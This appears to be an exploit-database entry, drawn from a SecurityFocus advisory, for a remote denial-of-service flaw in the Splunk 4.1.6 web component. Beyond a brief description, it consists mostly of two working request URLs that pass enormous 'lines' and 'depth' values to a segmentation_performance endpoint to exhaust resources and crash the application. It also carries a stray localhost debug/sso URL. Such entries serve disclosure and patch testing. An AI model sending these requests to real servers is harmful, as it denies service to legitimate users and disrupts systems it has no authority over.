Splunk 4.1.6 Web Component - Remote Denial of Service

Author: Filip Palian
type: dos
platform: multiple
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date_added: 2011-10-20 
date_updated: 2015-03-03 
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source: https://www.securityfocus.com/bid/50298/info

Splunk is prone to a remote denial-of-service vulnerability.

Exploiting this issue will exhaust system resources and cause the application to crash, denying service to legitimate users.

http://www.example.com/en-US/prototype/segmentation_performance?lines=999&depth=99999999&segment=foo&element=span&attribute=class&segmentation=nested

http://www.example.com/en-US/prototype/segmentation_performance?lines=99999999999999999999999999999999999999&depth=99999999999999999999999999999999999999&segment=foo&element=span&attribute=class&segmentation=nested
https://localhost/en-US/debug/sso